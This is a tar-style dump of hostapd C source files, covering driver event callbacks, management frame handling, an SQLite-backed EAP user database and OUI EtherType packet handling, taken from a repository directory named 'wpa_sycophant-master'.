ieee802_1x_notify_pre_auth(sta->eapol_sm, 0); #ifdef CONFIG_IEEE80211R_AP if (rx_auth->auth_type == WLAN_AUTH_FT && hapd->wpa_auth) { sta->auth_alg = WLAN_AUTH_FT; if (sta->wpa_sm == NULL) sta->wpa_sm = wpa_auth_sta_init(hapd->wpa_auth, sta->addr, NULL); if (sta->wpa_sm == NULL) { wpa_printf(MSG_DEBUG, "FT: Failed to initialize WPA state machine"); status = WLAN_STATUS_UNSPECIFIED_FAILURE; goto fail; } wpa_ft_process_auth(sta->wpa_sm, rx_auth->bssid, rx_auth->auth_transaction, rx_auth->ies, rx_auth->ies_len, hostapd_notify_auth_ft_finish, hapd); return; } #endif /* CONFIG_IEEE80211R_AP */ #ifdef CONFIG_FILS if (rx_auth->auth_type == WLAN_AUTH_FILS_SK) { sta->auth_alg = WLAN_AUTH_FILS_SK; handle_auth_fils(hapd, sta, rx_auth->ies, rx_auth->ies_len, rx_auth->auth_type, rx_auth->auth_transaction, rx_auth->status_code, hostapd_notify_auth_fils_finish); return; } #endif /* CONFIG_FILS */ fail: hostapd_sta_auth(hapd, rx_auth->peer, rx_auth->auth_transaction + 1, status, resp_ies, resp_ies_len); } static void hostapd_action_rx(struct hostapd_data *hapd, struct rx_mgmt *drv_mgmt) { struct ieee80211_mgmt *mgmt; struct sta_info *sta; size_t plen __maybe_unused; u16 fc; if (drv_mgmt->frame_len < 24 + 1) return; plen = drv_mgmt->frame_len - 24 - 1; mgmt = (struct ieee80211_mgmt *) drv_mgmt->frame; fc = le_to_host16(mgmt->frame_control); if (WLAN_FC_GET_STYPE(fc) != WLAN_FC_STYPE_ACTION) return; /* handled by the driver */ wpa_printf(MSG_DEBUG, "RX_ACTION cat %d action plen %d", mgmt->u.action.category, (int) plen); sta = ap_get_sta(hapd, mgmt->sa); if (sta == NULL) { wpa_printf(MSG_DEBUG, "%s: station not found", __func__); return; } #ifdef CONFIG_IEEE80211R_AP if (mgmt->u.action.category == WLAN_ACTION_FT) { const u8 *payload = drv_mgmt->frame + 24 + 1; wpa_ft_action_rx(sta->wpa_sm, payload, plen); } #endif /* CONFIG_IEEE80211R_AP */ #ifdef CONFIG_IEEE80211W if (mgmt->u.action.category == WLAN_ACTION_SA_QUERY && plen >= 4) { ieee802_11_sa_query_action( hapd, mgmt->sa, mgmt->u.action.u.sa_query_resp.action, mgmt->u.action.u.sa_query_resp.trans_id); } #endif /* CONFIG_IEEE80211W */ #ifdef CONFIG_WNM_AP if (mgmt->u.action.category == WLAN_ACTION_WNM) { ieee802_11_rx_wnm_action_ap(hapd, mgmt, drv_mgmt->frame_len); } #endif /* CONFIG_WNM_AP */ #ifdef CONFIG_FST if (mgmt->u.action.category == WLAN_ACTION_FST && hapd->iface->fst) { fst_rx_action(hapd->iface->fst, mgmt, drv_mgmt->frame_len); return; } #endif /* CONFIG_FST */ #ifdef CONFIG_DPP if (plen >= 1 + 4 && mgmt->u.action.u.vs_public_action.action == WLAN_PA_VENDOR_SPECIFIC && WPA_GET_BE24(mgmt->u.action.u.vs_public_action.oui) == OUI_WFA && mgmt->u.action.u.vs_public_action.variable[0] == DPP_OUI_TYPE) { const u8 *pos, *end; pos = mgmt->u.action.u.vs_public_action.oui; end = drv_mgmt->frame + drv_mgmt->frame_len; hostapd_dpp_rx_action(hapd, mgmt->sa, pos, end - pos, drv_mgmt->freq); return; } #endif /* CONFIG_DPP */ } #ifdef NEED_AP_MLME #define HAPD_BROADCAST ((struct hostapd_data *) -1) static struct hostapd_data * get_hapd_bssid(struct hostapd_iface *iface, const u8 *bssid) { size_t i; if (bssid == NULL) return NULL; if (bssid[0] == 0xff && bssid[1] == 0xff && bssid[2] == 0xff && bssid[3] == 0xff && bssid[4] == 0xff && bssid[5] == 0xff) return HAPD_BROADCAST; for (i = 0; i < iface->num_bss; i++) { if (os_memcmp(bssid, iface->bss[i]->own_addr, ETH_ALEN) == 0) return iface->bss[i]; } return NULL; } static void hostapd_rx_from_unknown_sta(struct hostapd_data *hapd, const u8 *bssid, const u8 *addr, int wds) { hapd = get_hapd_bssid(hapd->iface, bssid); if (hapd == NULL || hapd == HAPD_BROADCAST) return; ieee802_11_rx_from_unknown(hapd, addr, wds); } static int hostapd_mgmt_rx(struct hostapd_data *hapd, struct rx_mgmt *rx_mgmt) { struct hostapd_iface *iface = hapd->iface; const struct ieee80211_hdr *hdr; const u8 *bssid; struct hostapd_frame_info fi; int ret; #ifdef CONFIG_TESTING_OPTIONS if (hapd->ext_mgmt_frame_handling) { size_t hex_len = 2 * rx_mgmt->frame_len + 1; char *hex = os_malloc(hex_len); if (hex) { wpa_snprintf_hex(hex, hex_len, rx_mgmt->frame, rx_mgmt->frame_len); wpa_msg(hapd->msg_ctx, MSG_INFO, "MGMT-RX %s", hex); os_free(hex); } return 1; } #endif /* CONFIG_TESTING_OPTIONS */ hdr = (const struct ieee80211_hdr *) rx_mgmt->frame; bssid = get_hdr_bssid(hdr, rx_mgmt->frame_len); if (bssid == NULL) return 0; hapd = get_hapd_bssid(iface, bssid); if (hapd == NULL) { u16 fc = le_to_host16(hdr->frame_control); /* * Drop frames to unknown BSSIDs except for Beacon frames which * could be used to update neighbor information. */ if (WLAN_FC_GET_TYPE(fc) == WLAN_FC_TYPE_MGMT && WLAN_FC_GET_STYPE(fc) == WLAN_FC_STYPE_BEACON) hapd = iface->bss[0]; else return 0; } os_memset(&fi, 0, sizeof(fi)); fi.freq = rx_mgmt->freq; fi.datarate = rx_mgmt->datarate; fi.ssi_signal = rx_mgmt->ssi_signal; if (hapd == HAPD_BROADCAST) { size_t i; ret = 0; for (i = 0; i < iface->num_bss; i++) { /* if bss is set, driver will call this function for * each bss individually. */ if (rx_mgmt->drv_priv && (iface->bss[i]->drv_priv != rx_mgmt->drv_priv)) continue; if (ieee802_11_mgmt(iface->bss[i], rx_mgmt->frame, rx_mgmt->frame_len, &fi) > 0) ret = 1; } } else ret = ieee802_11_mgmt(hapd, rx_mgmt->frame, rx_mgmt->frame_len, &fi); random_add_randomness(&fi, sizeof(fi)); return ret; } static void hostapd_mgmt_tx_cb(struct hostapd_data *hapd, const u8 *buf, size_t len, u16 stype, int ok) { struct ieee80211_hdr *hdr; struct hostapd_data *orig_hapd = hapd; hdr = (struct ieee80211_hdr *) buf; hapd = get_hapd_bssid(hapd->iface, get_hdr_bssid(hdr, len)); if (!hapd) return; if (hapd == HAPD_BROADCAST) { if (stype != WLAN_FC_STYPE_ACTION || len <= 25 || buf[24] != WLAN_ACTION_PUBLIC) return; hapd = get_hapd_bssid(orig_hapd->iface, hdr->addr2); if (!hapd || hapd == HAPD_BROADCAST) return; /* * Allow processing of TX status for a Public Action frame that * used wildcard BBSID. */ } ieee802_11_mgmt_cb(hapd, buf, len, stype, ok); } #endif /* NEED_AP_MLME */ static int hostapd_event_new_sta(struct hostapd_data *hapd, const u8 *addr) { struct sta_info *sta = ap_get_sta(hapd, addr); if (sta) return 0; wpa_printf(MSG_DEBUG, "Data frame from unknown STA " MACSTR " - adding a new STA", MAC2STR(addr)); sta = ap_sta_add(hapd, addr); if (sta) { hostapd_new_assoc_sta(hapd, sta, 0); } else { wpa_printf(MSG_DEBUG, "Failed to add STA entry for " MACSTR, MAC2STR(addr)); return -1; } return 0; } static void hostapd_event_eapol_rx(struct hostapd_data *hapd, const u8 *src, const u8 *data, size_t data_len) { struct hostapd_iface *iface = hapd->iface; struct sta_info *sta; size_t j; for (j = 0; j < iface->num_bss; j++) { sta = ap_get_sta(iface->bss[j], src); if (sta && sta->flags & WLAN_STA_ASSOC) { hapd = iface->bss[j]; break; } } ieee802_1x_receive(hapd, src, data, data_len); } #endif /* HOSTAPD */ static struct hostapd_channel_data * hostapd_get_mode_channel( struct hostapd_iface *iface, unsigned int freq) { int i; struct hostapd_channel_data *chan; for (i = 0; i < iface->current_mode->num_channels; i++) { chan = &iface->current_mode->channels[i]; if ((unsigned int) chan->freq == freq) return chan; } return NULL; } static void hostapd_update_nf(struct hostapd_iface *iface, struct hostapd_channel_data *chan, struct freq_survey *survey) { if (!iface->chans_surveyed) { chan->min_nf = survey->nf; iface->lowest_nf = survey->nf; } else { if (dl_list_empty(&chan->survey_list)) chan->min_nf = survey->nf; else if (survey->nf < chan->min_nf) chan->min_nf = survey->nf; if (survey->nf < iface->lowest_nf) iface->lowest_nf = survey->nf; } } static void hostapd_single_channel_get_survey(struct hostapd_iface *iface, struct survey_results *survey_res) { struct hostapd_channel_data *chan; struct freq_survey *survey; u64 divisor, dividend; survey = dl_list_first(&survey_res->survey_list, struct freq_survey, list); if (!survey || !survey->freq) return; chan = hostapd_get_mode_channel(iface, survey->freq); if (!chan || chan->flag & HOSTAPD_CHAN_DISABLED) return; wpa_printf(MSG_DEBUG, "Single Channel Survey: (freq=%d channel_time=%ld channel_time_busy=%ld)", survey->freq, (unsigned long int) survey->channel_time, (unsigned long int) survey->channel_time_busy); if (survey->channel_time > iface->last_channel_time && survey->channel_time > survey->channel_time_busy) { dividend = survey->channel_time_busy - iface->last_channel_time_busy; divisor = survey->channel_time - iface->last_channel_time; iface->channel_utilization = dividend * 255 / divisor; wpa_printf(MSG_DEBUG, "Channel Utilization: %d", iface->channel_utilization); } iface->last_channel_time = survey->channel_time; iface->last_channel_time_busy = survey->channel_time_busy; } void hostapd_event_get_survey(struct hostapd_iface *iface, struct survey_results *survey_results) { struct freq_survey *survey, *tmp; struct hostapd_channel_data *chan; if (dl_list_empty(&survey_results->survey_list)) { wpa_printf(MSG_DEBUG, "No survey data received"); return; } if (survey_results->freq_filter) { hostapd_single_channel_get_survey(iface, survey_results); return; } dl_list_for_each_safe(survey, tmp, &survey_results->survey_list, struct freq_survey, list) { chan = hostapd_get_mode_channel(iface, survey->freq); if (!chan) continue; if (chan->flag & HOSTAPD_CHAN_DISABLED) continue; dl_list_del(&survey->list); dl_list_add_tail(&chan->survey_list, &survey->list); hostapd_update_nf(iface, chan, survey); iface->chans_surveyed++; } } #ifdef HOSTAPD #ifdef NEED_AP_MLME static void hostapd_event_iface_unavailable(struct hostapd_data *hapd) { wpa_printf(MSG_DEBUG, "Interface %s is unavailable -- stopped", hapd->conf->iface); if (hapd->csa_in_progress) { wpa_printf(MSG_INFO, "CSA failed (%s was stopped)", hapd->conf->iface); hostapd_switch_channel_fallback(hapd->iface, &hapd->cs_freq_params); } } static void hostapd_event_dfs_radar_detected(struct hostapd_data *hapd, struct dfs_event *radar) { wpa_printf(MSG_DEBUG, "DFS radar detected on %d MHz", radar->freq); hostapd_dfs_radar_detected(hapd->iface, radar->freq, radar->ht_enabled, radar->chan_offset, radar->chan_width, radar->cf1, radar->cf2); } static void hostapd_event_dfs_pre_cac_expired(struct hostapd_data *hapd, struct dfs_event *radar) { wpa_printf(MSG_DEBUG, "DFS Pre-CAC expired on %d MHz", radar->freq); hostapd_dfs_pre_cac_expired(hapd->iface, radar->freq, radar->ht_enabled, radar->chan_offset, radar->chan_width, radar->cf1, radar->cf2); } static void hostapd_event_dfs_cac_finished(struct hostapd_data *hapd, struct dfs_event *radar) { wpa_printf(MSG_DEBUG, "DFS CAC finished on %d MHz", radar->freq); hostapd_dfs_complete_cac(hapd->iface, 1, radar->freq, radar->ht_enabled, radar->chan_offset, radar->chan_width, radar->cf1, radar->cf2); } static void hostapd_event_dfs_cac_aborted(struct hostapd_data *hapd, struct dfs_event *radar) { wpa_printf(MSG_DEBUG, "DFS CAC aborted on %d MHz", radar->freq); hostapd_dfs_complete_cac(hapd->iface, 0, radar->freq, radar->ht_enabled, radar->chan_offset, radar->chan_width, radar->cf1, radar->cf2); } static void hostapd_event_dfs_nop_finished(struct hostapd_data *hapd, struct dfs_event *radar) { wpa_printf(MSG_DEBUG, "DFS NOP finished on %d MHz", radar->freq); hostapd_dfs_nop_finished(hapd->iface, radar->freq, radar->ht_enabled, radar->chan_offset, radar->chan_width, radar->cf1, radar->cf2); } static void hostapd_event_dfs_cac_started(struct hostapd_data *hapd, struct dfs_event *radar) { wpa_printf(MSG_DEBUG, "DFS offload CAC started on %d MHz", radar->freq); hostapd_dfs_start_cac(hapd->iface, radar->freq, radar->ht_enabled, radar->chan_offset, radar->chan_width, radar->cf1, radar->cf2); } #endif /* NEED_AP_MLME */ static void hostapd_event_wds_sta_interface_status(struct hostapd_data *hapd, int istatus, const char *ifname, const u8 *addr) { struct sta_info *sta = ap_get_sta(hapd, addr); if (sta) { os_free(sta->ifname_wds); if (istatus == INTERFACE_ADDED) sta->ifname_wds = os_strdup(ifname); else sta->ifname_wds = NULL; } wpa_msg(hapd->msg_ctx, MSG_INFO, "%sifname=%s sta_addr=" MACSTR, istatus == INTERFACE_ADDED ? WDS_STA_INTERFACE_ADDED : WDS_STA_INTERFACE_REMOVED, ifname, MAC2STR(addr)); } void wpa_supplicant_event(void *ctx, enum wpa_event_type event, union wpa_event_data *data) { struct hostapd_data *hapd = ctx; #ifndef CONFIG_NO_STDOUT_DEBUG int level = MSG_DEBUG; if (event == EVENT_RX_MGMT && data->rx_mgmt.frame && data->rx_mgmt.frame_len >= 24) { const struct ieee80211_hdr *hdr; u16 fc; hdr = (const struct ieee80211_hdr *) data->rx_mgmt.frame; fc = le_to_host16(hdr->frame_control); if (WLAN_FC_GET_TYPE(fc) == WLAN_FC_TYPE_MGMT && WLAN_FC_GET_STYPE(fc) == WLAN_FC_STYPE_BEACON) level = MSG_EXCESSIVE; if (WLAN_FC_GET_TYPE(fc) == WLAN_FC_TYPE_MGMT && WLAN_FC_GET_STYPE(fc) == WLAN_FC_STYPE_PROBE_REQ) level = MSG_EXCESSIVE; } wpa_dbg(hapd->msg_ctx, level, "Event %s (%d) received", event_to_string(event), event); #endif /* CONFIG_NO_STDOUT_DEBUG */ switch (event) { case EVENT_MICHAEL_MIC_FAILURE: michael_mic_failure(hapd, data->michael_mic_failure.src, 1); break; case EVENT_SCAN_RESULTS: if (hapd->iface->scan_cb) hapd->iface->scan_cb(hapd->iface); break; case EVENT_WPS_BUTTON_PUSHED: hostapd_wps_button_pushed(hapd, NULL); break; #ifdef NEED_AP_MLME case EVENT_TX_STATUS: switch (data->tx_status.type) { case WLAN_FC_TYPE_MGMT: hostapd_mgmt_tx_cb(hapd, data->tx_status.data, data->tx_status.data_len, data->tx_status.stype, data->tx_status.ack); break; case WLAN_FC_TYPE_DATA: hostapd_tx_status(hapd, data->tx_status.dst, data->tx_status.data, data->tx_status.data_len, data->tx_status.ack); break; } break; case EVENT_EAPOL_TX_STATUS: hostapd_eapol_tx_status(hapd, data->eapol_tx_status.dst, data->eapol_tx_status.data, data->eapol_tx_status.data_len, data->eapol_tx_status.ack); break; case EVENT_DRIVER_CLIENT_POLL_OK: hostapd_client_poll_ok(hapd, data->client_poll.addr); break; case EVENT_RX_FROM_UNKNOWN: hostapd_rx_from_unknown_sta(hapd, data->rx_from_unknown.bssid, data->rx_from_unknown.addr, data->rx_from_unknown.wds); break; #endif /* NEED_AP_MLME */ case EVENT_RX_MGMT: if (!data->rx_mgmt.frame) break; #ifdef NEED_AP_MLME if (hostapd_mgmt_rx(hapd, &data->rx_mgmt) > 0) break; #endif /* NEED_AP_MLME */ hostapd_action_rx(hapd, &data->rx_mgmt); break; case EVENT_RX_PROBE_REQ: if (data->rx_probe_req.sa == NULL || data->rx_probe_req.ie == NULL) break; hostapd_probe_req_rx(hapd, data->rx_probe_req.sa, data->rx_probe_req.da, data->rx_probe_req.bssid, data->rx_probe_req.ie, data->rx_probe_req.ie_len, data->rx_probe_req.ssi_signal); break; case EVENT_NEW_STA: hostapd_event_new_sta(hapd, data->new_sta.addr); break; case EVENT_EAPOL_RX: hostapd_event_eapol_rx(hapd, data->eapol_rx.src, data->eapol_rx.data, data->eapol_rx.data_len); break; case EVENT_ASSOC: if (!data) return; hostapd_notif_assoc(hapd, data->assoc_info.addr, data->assoc_info.req_ies, data->assoc_info.req_ies_len, data->assoc_info.reassoc); break; case EVENT_DISASSOC: if (data) hostapd_notif_disassoc(hapd, data->disassoc_info.addr); break; case EVENT_DEAUTH: if (data) hostapd_notif_disassoc(hapd, data->deauth_info.addr); break; case EVENT_STATION_LOW_ACK: if (!data) break; hostapd_event_sta_low_ack(hapd, data->low_ack.addr); break; case EVENT_AUTH: hostapd_notif_auth(hapd, &data->auth); break; case EVENT_CH_SWITCH: if (!data) break; hostapd_event_ch_switch(hapd, data->ch_switch.freq, data->ch_switch.ht_enabled, data->ch_switch.ch_offset, data->ch_switch.ch_width, data->ch_switch.cf1, data->ch_switch.cf2); break; case EVENT_CONNECT_FAILED_REASON: if (!data) break; hostapd_event_connect_failed_reason( hapd, data->connect_failed_reason.addr, data->connect_failed_reason.code); break; case EVENT_SURVEY: hostapd_event_get_survey(hapd->iface, &data->survey_results); break; #ifdef NEED_AP_MLME case EVENT_INTERFACE_UNAVAILABLE: hostapd_event_iface_unavailable(hapd); break; case EVENT_DFS_RADAR_DETECTED: if (!data) break; hostapd_event_dfs_radar_detected(hapd, &data->dfs_event); break; case EVENT_DFS_PRE_CAC_EXPIRED: if (!data) break; hostapd_event_dfs_pre_cac_expired(hapd, &data->dfs_event); break; case EVENT_DFS_CAC_FINISHED: if (!data) break; hostapd_event_dfs_cac_finished(hapd, &data->dfs_event); break; case EVENT_DFS_CAC_ABORTED: if (!data) break; hostapd_event_dfs_cac_aborted(hapd, &data->dfs_event); break; case EVENT_DFS_NOP_FINISHED: if (!data) break; hostapd_event_dfs_nop_finished(hapd, &data->dfs_event); break; case EVENT_CHANNEL_LIST_CHANGED: /* channel list changed (regulatory?), update channel list */ /* TODO: check this. hostapd_get_hw_features() initializes * too much stuff. */ /* hostapd_get_hw_features(hapd->iface); */ hostapd_channel_list_updated( hapd->iface, data->channel_list_changed.initiator); break; case EVENT_DFS_CAC_STARTED: if (!data) break; hostapd_event_dfs_cac_started(hapd, &data->dfs_event); break; #endif /* NEED_AP_MLME */ case EVENT_INTERFACE_ENABLED: wpa_msg(hapd->msg_ctx, MSG_INFO, INTERFACE_ENABLED); if (hapd->disabled && hapd->started) { hapd->disabled = 0; /* * Try to re-enable interface if the driver stopped it * when the interface got disabled. */ wpa_auth_reconfig_group_keys(hapd->wpa_auth); hapd->reenable_beacon = 1; ieee802_11_set_beacon(hapd); } break; case EVENT_INTERFACE_DISABLED: hostapd_free_stas(hapd); wpa_msg(hapd->msg_ctx, MSG_INFO, INTERFACE_DISABLED); hapd->disabled = 1; break; #ifdef CONFIG_ACS case EVENT_ACS_CHANNEL_SELECTED: hostapd_acs_channel_selected(hapd, &data->acs_selected_channels); break; #endif /* CONFIG_ACS */ case EVENT_STATION_OPMODE_CHANGED: hostapd_event_sta_opmode_changed(hapd, data->sta_opmode.addr, data->sta_opmode.smps_mode, data->sta_opmode.chan_width, data->sta_opmode.rx_nss); break; case EVENT_WDS_STA_INTERFACE_STATUS: hostapd_event_wds_sta_interface_status( hapd, data->wds_sta_interface.istatus, data->wds_sta_interface.ifname, data->wds_sta_interface.sta_addr); break; default: wpa_printf(MSG_DEBUG, "Unknown event %d", event); break; } } void wpa_supplicant_event_global(void *ctx, enum wpa_event_type event, union wpa_event_data *data) { struct hapd_interfaces *interfaces = ctx; struct hostapd_data *hapd; if (event != EVENT_INTERFACE_STATUS) return; hapd = hostapd_get_iface(interfaces, data->interface_status.ifname); if (hapd && hapd->driver && hapd->driver->get_ifindex && hapd->drv_priv) { unsigned int ifindex; ifindex = hapd->driver->get_ifindex(hapd->drv_priv); if (ifindex != data->interface_status.ifindex) { wpa_dbg(hapd->msg_ctx, MSG_DEBUG, "interface status ifindex %d mismatch (%d)", ifindex, data->interface_status.ifindex); return; } } if (hapd) wpa_supplicant_event(hapd, event, data); } #endif /* HOSTAPD */ wpa_sycophant-master/src/ap/eap_user_db.c000066400000000000000000000174611377436615100210570ustar00rootroot00000000000000/* * hostapd / EAP user database * Copyright (c) 2012, Jouni Malinen * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #include "includes.h" #ifdef CONFIG_SQLITE #include #endif /* CONFIG_SQLITE */ #include "common.h" #include "eap_common/eap_wsc_common.h" #include "eap_server/eap_methods.h" #include "eap_server/eap.h" #include "ap_config.h" #include "hostapd.h" #ifdef CONFIG_SQLITE static void set_user_methods(struct hostapd_eap_user *user, const char *methods) { char *buf, *start; int num_methods; buf = os_strdup(methods); if (buf == NULL) return; os_memset(&user->methods, 0, sizeof(user->methods)); num_methods = 0; start = buf; while (*start) { char *pos3 = os_strchr(start, ','); if (pos3) *pos3++ = '\0'; user->methods[num_methods].method = eap_server_get_type(start, &user->methods[num_methods].vendor); if (user->methods[num_methods].vendor == EAP_VENDOR_IETF && user->methods[num_methods].method == EAP_TYPE_NONE) { if (os_strcmp(start, "TTLS-PAP") == 0) { user->ttls_auth |= EAP_TTLS_AUTH_PAP; goto skip_eap; } if (os_strcmp(start, "TTLS-CHAP") == 0) { user->ttls_auth |= EAP_TTLS_AUTH_CHAP; goto skip_eap; } if (os_strcmp(start, "TTLS-MSCHAP") == 0) { user->ttls_auth |= EAP_TTLS_AUTH_MSCHAP; goto skip_eap; } if (os_strcmp(start, "TTLS-MSCHAPV2") == 0) { user->ttls_auth |= EAP_TTLS_AUTH_MSCHAPV2; goto skip_eap; } wpa_printf(MSG_INFO, "DB: Unsupported EAP type '%s'", start); os_free(buf); return; } num_methods++; if (num_methods >= EAP_MAX_METHODS) break; skip_eap: if (pos3 == NULL) break; start = pos3; } os_free(buf); } static int get_user_cb(void *ctx, int argc, char *argv[], char *col[]) { struct hostapd_eap_user *user = ctx; int i; for (i = 0; i < argc; i++) { if (os_strcmp(col[i], "password") == 0 && argv[i]) { bin_clear_free(user->password, user->password_len); user->password_len = os_strlen(argv[i]); user->password = (u8 *) os_strdup(argv[i]); user->next = (void *) 1; } else if (os_strcmp(col[i], "methods") == 0 && argv[i]) { set_user_methods(user, argv[i]); } else if (os_strcmp(col[i], "remediation") == 0 && argv[i]) { user->remediation = strlen(argv[i]) > 0; } else if (os_strcmp(col[i], "t_c_timestamp") == 0 && argv[i]) { user->t_c_timestamp = strtol(argv[i], 0, 10); } } return 0; } static int get_wildcard_cb(void *ctx, int argc, char *argv[], char *col[]) { struct hostapd_eap_user *user = ctx; int i, id = -1, methods = -1; size_t len; for (i = 0; i < argc; i++) { if (os_strcmp(col[i], "identity") == 0 && argv[i]) id = i; else if (os_strcmp(col[i], "methods") == 0 && argv[i]) methods = i; } if (id < 0 || methods < 0) return 0; len = os_strlen(argv[id]); if (len <= user->identity_len && os_memcmp(argv[id], user->identity, len) == 0 && (user->password == NULL || len > user->password_len)) { bin_clear_free(user->password, user->password_len); user->password_len = os_strlen(argv[id]); user->password = (u8 *) os_strdup(argv[id]); user->next = (void *) 1; set_user_methods(user, argv[methods]); } return 0; } static const struct hostapd_eap_user * eap_user_sqlite_get(struct hostapd_data *hapd, const u8 *identity, size_t identity_len, int phase2) { sqlite3 *db; struct hostapd_eap_user *user = NULL; char id_str[256], cmd[300]; size_t i; if (identity_len >= sizeof(id_str)) { wpa_printf(MSG_DEBUG, "%s: identity len too big: %d >= %d", __func__, (int) identity_len, (int) (sizeof(id_str))); return NULL; } os_memcpy(id_str, identity, identity_len); id_str[identity_len] = '\0'; for (i = 0; i < identity_len; i++) { if (id_str[i] >= 'a' && id_str[i] <= 'z') continue; if (id_str[i] >= 'A' && id_str[i] <= 'Z') continue; if (id_str[i] >= '0' && id_str[i] <= '9') continue; if (id_str[i] == '-' || id_str[i] == '_' || id_str[i] == '.' || id_str[i] == ',' || id_str[i] == '@' || id_str[i] == '\\' || id_str[i] == '!' || id_str[i] == '#' || id_str[i] == '%' || id_str[i] == '=' || id_str[i] == ' ') continue; wpa_printf(MSG_INFO, "DB: Unsupported character in identity"); return NULL; } bin_clear_free(hapd->tmp_eap_user.identity, hapd->tmp_eap_user.identity_len); bin_clear_free(hapd->tmp_eap_user.password, hapd->tmp_eap_user.password_len); os_memset(&hapd->tmp_eap_user, 0, sizeof(hapd->tmp_eap_user)); hapd->tmp_eap_user.phase2 = phase2; hapd->tmp_eap_user.identity = os_zalloc(identity_len + 1); if (hapd->tmp_eap_user.identity == NULL) return NULL; os_memcpy(hapd->tmp_eap_user.identity, identity, identity_len); if (sqlite3_open(hapd->conf->eap_user_sqlite, &db)) { wpa_printf(MSG_INFO, "DB: Failed to open database %s: %s", hapd->conf->eap_user_sqlite, sqlite3_errmsg(db)); sqlite3_close(db); return NULL; } os_snprintf(cmd, sizeof(cmd), "SELECT * FROM users WHERE identity='%s' AND phase2=%d;", id_str, phase2); wpa_printf(MSG_DEBUG, "DB: %s", cmd); if (sqlite3_exec(db, cmd, get_user_cb, &hapd->tmp_eap_user, NULL) != SQLITE_OK) { wpa_printf(MSG_DEBUG, "DB: Failed to complete SQL operation: %s db: %s", sqlite3_errmsg(db), hapd->conf->eap_user_sqlite); } else if (hapd->tmp_eap_user.next) user = &hapd->tmp_eap_user; if (user == NULL && !phase2) { os_snprintf(cmd, sizeof(cmd), "SELECT identity,methods FROM wildcards;"); wpa_printf(MSG_DEBUG, "DB: %s", cmd); if (sqlite3_exec(db, cmd, get_wildcard_cb, &hapd->tmp_eap_user, NULL) != SQLITE_OK) { wpa_printf(MSG_DEBUG, "DB: Failed to complete SQL operation: %s db: %s", sqlite3_errmsg(db), hapd->conf->eap_user_sqlite); } else if (hapd->tmp_eap_user.next) { user = &hapd->tmp_eap_user; os_free(user->identity); user->identity = user->password; user->identity_len = user->password_len; user->password = NULL; user->password_len = 0; } } sqlite3_close(db); return user; } #endif /* CONFIG_SQLITE */ const struct hostapd_eap_user * hostapd_get_eap_user(struct hostapd_data *hapd, const u8 *identity, size_t identity_len, int phase2) { const struct hostapd_bss_config *conf = hapd->conf; struct hostapd_eap_user *user = conf->eap_user; #ifdef CONFIG_WPS if (conf->wps_state && identity_len == WSC_ID_ENROLLEE_LEN && os_memcmp(identity, WSC_ID_ENROLLEE, WSC_ID_ENROLLEE_LEN) == 0) { static struct hostapd_eap_user wsc_enrollee; os_memset(&wsc_enrollee, 0, sizeof(wsc_enrollee)); wsc_enrollee.methods[0].method = eap_server_get_type( "WSC", &wsc_enrollee.methods[0].vendor); return &wsc_enrollee; } if (conf->wps_state && identity_len == WSC_ID_REGISTRAR_LEN && os_memcmp(identity, WSC_ID_REGISTRAR, WSC_ID_REGISTRAR_LEN) == 0) { static struct hostapd_eap_user wsc_registrar; os_memset(&wsc_registrar, 0, sizeof(wsc_registrar)); wsc_registrar.methods[0].method = eap_server_get_type( "WSC", &wsc_registrar.methods[0].vendor); wsc_registrar.password = (u8 *) conf->ap_pin; wsc_registrar.password_len = conf->ap_pin ? os_strlen(conf->ap_pin) : 0; return &wsc_registrar; } #endif /* CONFIG_WPS */ while (user) { if (!phase2 && user->identity == NULL) { /* Wildcard match */ break; } if (user->phase2 == !!phase2 && user->wildcard_prefix && identity_len >= user->identity_len && os_memcmp(user->identity, identity, user->identity_len) == 0) { /* Wildcard prefix match */ break; } if (user->phase2 == !!phase2 && user->identity_len == identity_len && os_memcmp(user->identity, identity, identity_len) == 0) break; user = user->next; } #ifdef CONFIG_SQLITE if (user == NULL && conf->eap_user_sqlite) { return eap_user_sqlite_get(hapd, identity, identity_len, phase2); } #endif /* CONFIG_SQLITE */ return user; } wpa_sycophant-master/src/ap/eth_p_oui.c000066400000000000000000000107051377436615100205540ustar00rootroot00000000000000/* * hostapd / IEEE 802 OUI Extended EtherType 88-B7 * Copyright (c) 2016, Jouni Malinen * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #include "utils/includes.h" #include "utils/common.h" #include "utils/eloop.h" #include "l2_packet/l2_packet.h" #include "hostapd.h" #include "eth_p_oui.h" /* * See IEEE Std 802-2014, Clause 9.2.4 for the definition of the OUI Extended * EtherType 88-B7. This file implements this with OUI 00:13:74 and * vendor-specific subtype 0x0001. */ static const u8 global_oui[] = { 0x00, 0x13, 0x74, 0x00, 0x01 }; struct eth_p_oui_iface { struct dl_list list; char ifname[IFNAMSIZ + 1]; struct l2_packet_data *l2; struct dl_list receiver; }; struct eth_p_oui_ctx { struct dl_list list; struct eth_p_oui_iface *iface; /* all data needed to deliver and unregister */ u8 oui_suffix; /* last byte of OUI */ void (*rx_callback)(void *ctx, const u8 *src_addr, const u8 *dst_addr, u8 oui_suffix, const u8 *buf, size_t len); void *rx_callback_ctx; }; void eth_p_oui_deliver(struct eth_p_oui_ctx *ctx, const u8 *src_addr, const u8 *dst_addr, const u8 *buf, size_t len) { ctx->rx_callback(ctx->rx_callback_ctx, src_addr, dst_addr, ctx->oui_suffix, buf, len); } static void eth_p_rx(void *ctx, const u8 *src_addr, const u8 *buf, size_t len) { struct eth_p_oui_iface *iface = ctx; struct eth_p_oui_ctx *receiver; const struct l2_ethhdr *ethhdr; if (len < sizeof(*ethhdr) + sizeof(global_oui) + 1) { /* too short packet */ return; } ethhdr = (struct l2_ethhdr *) buf; /* trim eth_hdr from buf and len */ buf += sizeof(*ethhdr); len -= sizeof(*ethhdr); /* verify OUI and vendor-specific subtype match */ if (os_memcmp(buf, global_oui, sizeof(global_oui)) != 0) return; buf += sizeof(global_oui); len -= sizeof(global_oui); dl_list_for_each(receiver, &iface->receiver, struct eth_p_oui_ctx, list) { if (buf[0] != receiver->oui_suffix) continue; eth_p_oui_deliver(receiver, ethhdr->h_source, ethhdr->h_dest, buf + 1, len - 1); } } struct eth_p_oui_ctx * eth_p_oui_register(struct hostapd_data *hapd, const char *ifname, u8 oui_suffix, void (*rx_callback)(void *ctx, const u8 *src_addr, const u8 *dst_addr, u8 oui_suffix, const u8 *buf, size_t len), void *rx_callback_ctx) { struct eth_p_oui_iface *iface; struct eth_p_oui_ctx *receiver; int found = 0; struct hapd_interfaces *interfaces; receiver = 